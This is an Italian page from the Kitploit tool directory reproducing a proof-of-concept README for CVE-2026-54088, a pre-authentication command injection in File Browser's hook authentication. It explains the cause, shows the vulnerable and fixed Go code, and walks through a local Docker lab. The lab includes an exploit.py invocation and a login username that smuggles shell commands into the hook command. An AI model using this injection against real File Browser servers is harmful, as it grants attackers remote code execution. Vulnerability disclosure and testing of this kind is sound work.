Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-54088-poc — Exploit proof-of-concept per CVE-2026-54088, una command injection OS pre-autenticazione in File Browser <=2.63.5. Dimostra l'iniezione di shell tramite Hook Authentication per ottenere l'esecuzione remota di codice. | Kitploit
Strumenti/GitHubGitHub/saku0512/cve-2026-54088-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e FormazioneSviluppo Payload
GitHub
saku0512/cve-2026-54088-poc

CVE-2026-54088-poc

Exploit proof-of-concept per CVE-2026-54088, una command injection OS pre-autenticazione in File Browser <=2.63.5. Dimostra l'iniezione di shell tramite Hook Authentication per ottenere l'esecuzione remota di codice.

Vedi Repository
1253 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-54088: Iniezione di comandi tramite sostituzione di shell nel hook di autenticazione (RCE pre-autenticazione)

English version

Riepilogo

Questo repository è un Proof of Concept (PoC) per la vulnerabilità critica di iniezione di comandi del sistema operativo CVE-2026-54088 presente nelle versioni <= 2.63.5 di File Browser.

Questa vulnerabilità risiede nella funzionalità Hook Authentication. Se un amministratore configura File Browser per autenticare gli utenti tramite un comando esterno, i campi username e password inviati durante il login vengono espansi nella stringa di comando configurata tramite os.Expand() senza essere escaped. Un attaccante remoto non autenticato può iniettare sintassi shell tramite la richiesta di login ed eseguire comandi arbitrari prima che l'autenticazione abbia successo.

Scoperto da: saku0512 (https://github.com/Saku0512)


Dichiarazione di non responsabilità

Questo progetto è destinato esclusivamente a scopi educativi e test di sicurezza etici.

L'autore non si assume alcuna responsabilità per abusi, danni o attività illegali derivanti dall'uso di questo strumento. L'accesso non autorizzato ai sistemi informatici è illegale. Utilizzare questo software solo in ambienti per i quali si dispone di esplicita autorizzazione.


Dettagli della vulnerabilità

  • CVE ID: CVE-2026-54088
  • Advisory: GHSA-m93h-4hw7-5qcm
  • Tipo: Iniezione di comandi del sistema operativo (CWE-78)
  • Impatto: Esecuzione remota di codice prima dell'autenticazione (RCE)
  • Versioni interessate: File Browser <= 2.63.5
  • Versione corretta: File Browser 2.63.6
  • File interessato: auth/hook.go
  • Funzione interessata: HookAuth.RunCommand

Causa principale

HookAuth.RunCommand() suddivide il comando di autenticazione configurato e espande i placeholder delle credenziali utilizzando i dati della richiesta controllabili dall'attaccante.

envMapping := func(key string) string {
    switch key {
    case "USERNAME":
        return a.Cred.Username
    case "PASSWORD":
        return a.Cred.Password
    default:
        return os.Getenv(key)
    }
}

for i, arg := range command {
    if i == 0 {
        continue
    }
    command[i] = os.Expand(arg, envMapping)
}

Se il comando hook è configurato come segue:

sh -c $USERNAME

Se un attaccante invia uno username come:

touch /tmp/fb_hook_auth_pwned; echo hook.action=block

Durante il tentativo di login, il server esegue lo script shell controllato dall'attaccante. Non sono necessari account o password validi.

Correzione

Il problema è stato risolto nel commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f rimuovendo la sostituzione delle credenziali dalla stringa del comando hook. Il comando hook viene eseguito così come configurato e le credenziali vengono passate solo come variabili d'ambiente.

command := strings.Split(a.Command, " ")

cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))

La logica vulnerabile rimossa era un ciclo os.Expand() che riscriveva gli argomenti del comando con le credenziali controllate dall'attaccante prima che exec.Command() venisse chiamato. La correzione include anche un test di regressione per verificare che le credenziali iniettate non possano alterare il comando hook e che USERNAME / PASSWORD siano ancora disponibili per l'hook tramite variabili d'ambiente.


Proof of Concept (Utilizzo)

1. Configurazione dell'ambiente

Avviare un ambiente File Browser vulnerabile. Il servizio filebrowser-init creerà il database e abiliterà l'autenticazione tramite hook utilizzando un comando vulnerabile.

docker compose up -d

Il target è disponibile al seguente URL:

http://localhost:8080

2. Esecuzione dell'exploit

Eseguire lo script exploit da questa directory.

python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"

Questo exploit invia una singola richiesta di login non autenticata a /api/login. L'autenticazione dovrebbe fallire, ma il comando iniettato viene eseguito prima.

3. Verifica tramite GUI

Aprire la schermata di login di File Browser nel browser.

http://localhost:8080

Inserire i seguenti valori nel modulo di login e fare clic sul pulsante di login.

Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything

Il login fallirà, ma l'esecuzione del comando di autenticazione tramite hook avviene prima che venga restituito il risultato dell'autenticazione. Con il seguente comando, verificare che il file marcatore sia stato creato nel container tramite l'operazione GUI:

docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned

Se il file esiste, si conferma che anche tramite l'operazione di login dalla GUI si è verificata un'esecuzione remota di codice prima dell'autenticazione.

4. Verifica del PoC da CLI

Verificare che il comando sia stato eseguito all'interno del container File Browser.

docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned

Se il file esiste, si conferma l'esecuzione remota di codice prima dell'autenticazione.

5. Pulizia

docker compose down -v

Mitigazione

Aggiornare File Browser alla versione 2.63.6 o successiva.

Le credenziali non devono essere incorporate nella stringa del comando shell, ma passate al comando hook solo come variabili d'ambiente. Anche per altri percorsi di esecuzione di comandi, è necessario evitare la valutazione della shell o adottare una rigorosa separazione degli argomenti e l'escape.


Riferimenti

  • File Browser GitHub Repository
  • File Browser v2.63.5 vulnerable implementation
  • Fix commit: remove undocumented hook auth with shell replacement
Scarica lo strumento